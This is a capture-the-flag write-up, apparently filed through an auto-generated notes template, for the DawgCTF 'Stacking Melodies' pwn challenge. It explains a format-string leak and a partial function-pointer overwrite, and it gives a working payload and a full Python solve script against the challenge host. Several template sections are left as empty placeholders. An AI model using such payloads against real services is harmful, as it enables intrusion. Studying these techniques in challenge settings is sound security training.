Stacking Melodies
Stacking Melodies
Platform: Metactf | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-10 | Status: Solved Techniques: format_string_leak, partial_function_pointer_overwrite, ret2win
Summary
Task: a public DawgCTF / UMBCCyberDawgs source release exposes a non-PIE packet parser with both a format-string bug and an integer-overflow-backed heap overflow. Solution: use the format string to leak code pointers, infer the remote win() offset, and partially overwrite the logging function pointer with %hn to jump to the flag printer.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
metactf| ID:20260410_metactf_stacking_melodies - Tags: heap_overflow, integer_overflow, format_string, function_pointer, no_pie, partial_pointer_overwrite
- Indicators: printf(title) with attacker-controlled input, non-PIE code pointers leaked around 0x401000, a writable pointer appears in the format-string argument list, the program calls a function pointer after the vulnerable printf
- Source:
20260410_metactf_stacking_melodies.md
Foothold
Vulnerability / Misconfiguration
- Format_string_leak
- Partial_function_pointer_overwrite
- Ret2win
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- format_string_leak
- partial_function_pointer_overwrite
- ret2win
- Tags: heap_overflow, integer_overflow, format_string, function_pointer, no_pie, partial_pointer_overwrite
Original Writeup
<details><summary>Click to expand original content</summary>Description
A server at
nc.umbccd.net 8929is hosting the same code, but theirs has a flag, retrieve it. Public source:https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Stacking%20melodies
This challenge came from the public UMBCCyberDawgs / DawgCTF '26 repository, while my local workspace grouped it under metactf. We are given the source for a 64-bit Linux service that parses a small custom packet, prints a title field, computes a rating, and then calls a function pointer stored in a heap-allocated session context.
Analysis
The public source immediately reveals two memory corruption bugs.
1. Primary bug: format string
The title is attacker-controlled and reaches:
printf(title);
This gives both an information leak and an arbitrary write through %n if one of the stack arguments resolves to a writable pointer.
2. Secondary bug: integer overflow into heap overflow
The code also validates the data length incorrectly:
static inline int validate_size(uint32_t sz) {
size_t aligned = (sz + 7) & ~7;
return (int)aligned;
}
Later it allocates with:
size_t stream_size = (size_t)(d_len + 0x40); char *stream_buf = malloc(stream_size); fread(stream_buf, 1, d_len, stdin);
Because validate_size() returns an int after alignment while the real allocation uses d_len + 0x40, a large d_len can wrap and produce a too-small heap chunk before fread() copies the full attacker-controlled size. That looks exploitable, but I did not need it for the solve.
Build assumptions
The source comment says the binary was compiled with:
gcc -no-pie -g in.c -o out
That matters a lot: a non-PIE binary keeps stable text addresses, so once a code pointer is leaked, nearby functions such as win() can be inferred reliably.
Exploitation
Step 1: confirm the format-string layout remotely
I first sent a title of the form:
%1$p|%2$p|%3$p|...|%40$p
The remote output included these useful values:
- arg8 =
0x4 - arg9 =
0x4063f0 - arg15 =
0x4014bb - arg19 =
0x40148f
The important observation is that several leaked code pointers sit in the 0x401000 range, exactly what we expect from a non-PIE ELF. Argument 9 also gave a writable target usable with %n.
Step 2: line up local and remote addresses
Compiling the public source locally as a non-PIE Linux x86_64 binary produced matching structure but slightly different code offsets:
- local arg15 =
0x4014a1 - local arg19 =
0x401475 - local
win=0x401234
The remote leaks are consistently shifted by +0x1a:
0x4014bb - 0x4014a1 = 0x1a0x40148f - 0x401475 = 0x1a
The most likely reason is a small source difference in the deployed binary. In practice, a local variant where calculate_rating() returns rand() instead of 0 reproduces that shift.
So the remote win() address is inferred as:
0x401234 + 0x1a = 0x40124e
Step 3: partially overwrite the function pointer
After the vulnerable printf(title), the program does:
ctx->server_logging("Rating", rating);
Originally this function pointer targets log_event(), which already lives in the same non-PIE text segment. That means I do not need to write the full 8-byte pointer. Replacing only the low 16 bits is enough to retarget it to win().
The low 16 bits of remote win() are:
0x124e = 4686
The working payload was exactly:
%8$4686c%9$hn
Why it works:
%8$4686cpads the output count to4686characters.%9$hnwrites that count as a 16-bit value to the address referenced by argument 9.- The low two bytes of the stored function pointer become
0x124e. - When the program later calls
ctx->server_logging, execution jumps intowin().
Step 4: get the flag
Once the overwritten function pointer is invoked, win() opens flag.txt, prints it, and exits. The remote service returned:
DawgCTF{REDACTED}
Solve Script
#!/usr/bin/env python3
import re
import socket
import struct
import sys
HOST = "nc.umbccd.net"
PORT = 8929
MAGIC = 0x564D576E
FLAG_RE = re.compile(rb"DawgCTF\{[^\r\n]{0,200}\}")
def send_packet(title: bytes, data: bytes, timeout: float = 5.0) -> bytes:
pkt = struct.pack("<III", MAGIC, len(title), len(data)) + title + data
s = socket.create_connection((HOST, PORT), timeout=10)
s.sendall(pkt)
s.settimeout(timeout)
out = b""
try:
while True:
chunk = s.recv(65536)
if not chunk:
break
out += chunk
except TimeoutError:
pass
finally:
s.close()
return out
def leak() -> bytes:
title = b"|".join(f"%{i}$p".encode() for i in range(1, 41))
return send_packet(title, b"AAAA", timeout=3.0)
def exploit() -> bytes:
# Remote win() inferred from leaked non-PIE addresses:
# local win 0x401234 + remote shift 0x1a = 0x40124e.
# Low 16 bits are 0x124e == 4686.
title = b"%8$4686c%9$hn"
return send_packet(title, b"AAAA", timeout=10.0)
def main() -> int:
mode = sys.argv[1] if len(sys.argv) > 1 else "exploit"
out = leak() if mode == "leak" else exploit()
sys.stdout.buffer.write(out)
m = FLAG_RE.search(out)
if m:
print(f"\nFLAG={m.group().decode()}")
return 0
return 1
if __name__ == "__main__":
raise SystemExit(main())
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR